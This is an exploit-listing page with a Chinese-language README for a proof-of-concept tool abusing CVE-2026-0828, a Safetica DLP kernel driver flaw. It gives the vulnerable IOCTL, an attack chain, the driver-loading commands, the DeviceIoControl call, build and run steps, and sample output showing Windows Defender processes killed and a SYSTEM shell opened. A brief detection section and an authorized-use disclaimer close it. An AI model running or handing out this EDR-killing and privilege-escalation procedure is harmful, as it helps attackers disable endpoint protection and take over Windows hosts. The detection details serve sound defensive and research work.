Sploitus

Exploit for cve-2026-0828 CVE-2026-0828

kitploit · 2026-08-25

Exploit Code

MARKDOWN147 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MEIN-0-CVE-2026-0828
# CVE-2026-0828 — Safetica ProcessMonitorDriver.sys BYOVD PoC

Safetica DLP 内核驱动程序(`ProcessMonitorDriver.sys`)暴露了一个未经认证的 IOCTL,允许任何用户态调用者通过内核上下文中的 `ZwTerminateProcess` 终止任意进程,从而绕过 PPL(轻量级受保护进程)保护。

**CVSS:** 8.8(高危)· **类型:** BYOVD、LPE · **平台:** Windows x64

* * *

## 漏洞

IOCTL `0xB822200C` 对应的 `IRP_MJ_DEVICE_CONTROL` 处理程序以 `PROCESS_ALL_ACCESS (0x1FFFFF)` 权限调用 `ZwOpenProcess`,随后使用直接取自输入缓冲区的 PID 调用 `ZwTerminateProcess` — **全程未进行任何权限或调用者验证。**

root@kitploit:~
    
    
    // Vulnerable handler (IDA pseudocode)
    ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
    
    ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
    ZwTerminateProcess(ProcessHandle, 0);  // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
    

由于该调用在内核上下文中发起,受 PPL 保护的进程(Windows Defender、EDR 代理)可被终止。

**受影响版本:** Safetica < 11.26.19 / < 10.5.150  
**修复版本:** Safetica 11.26.19、11.29.8、10.5.150 — IOCTL 处理程序中已添加权限检查  
**参考资料:** KOSEC 公告 · CERT VU#818729

* * *

## 攻击链

root@kitploit:~
    
    
    Admin privileges
        │
        ├─► Load ProcessMonitorDriver.sys
        │       sc create STProcessMonitor type=kernel binPath=...
        │
        ├─► PHASE 1: Kill EDR via IOCTL 0xB822200C
        │       DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
        │       → ZwTerminateProcess(Defender/EDR, 0)  [kernel ctx, PPL bypassed]
        │
        └─► PHASE 2: Token duplication → SYSTEM shell
                AdjustTokenPrivileges(SeDebugPrivilege)
                OpenProcess(winlogon.exe)
                DuplicateTokenEx(TokenPrimary)
                CreateProcessWithTokenW(cmd.exe)
                → NT AUTHORITY\SYSTEM
    

* * *

## 文件

文件| 描述  
---|---  
`exploit.c`| 完整 PoC — 终止 EDR,以 NT AUTHORITY\SYSTEM 身份启动 cmd.exe  
  
* * *

## 编译

需要 Visual Studio(x64 本机工具命令提示符):

root@kitploit:~
    
    
    cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
    

* * *

## 使用方法

**第 1 步 — 加载驱动程序** (管理员 CMD):

root@kitploit:~
    
    
    sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
    sc start STProcessMonitor
    

**第 2 步 — 运行 PoC:**

root@kitploit:~
    
    
    exploit.exe
    

**预期输出:**

root@kitploit:~
    
    
    [Phase 1] Killing EDR via CVE-2026-0828...
      MsMpEng.exe       PID 3412  -> KILLED
      NisSrv.exe        PID 4180  -> KILLED
    
    SeDebugPrivilege enabled
    winlogon.exe -> pid 560
    [+] Got SYSTEM token handle.
    [+] Token duplicated.
    shell spawned
    

将打开一个以 `NT AUTHORITY\SYSTEM` 身份运行的新 `cmd.exe` 窗口。

* * *

## 检测

**事件 ID 7045** — 新的内核服务安装:

root@kitploit:~
    
    
    Service Name:      STProcessMonitor
    Service File Name: ...\ProcessMonitorDriver.sys
    Service Type:      kernel mode driver
    

**WDAC 阻止列表(SHA256):**

root@kitploit:~
    
    
    70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
    

**ETW:** 监控对 `\\.\STProcessMonitorDriver` 的 `DeviceIoControl` 调用。

* * *

## 测试环境

  * Windows 10 22H2 x64



* * *

> **仅限经授权的安全研究和实验室环境使用。请勿将其用于你不拥有、或未经书面许可测试的系统。**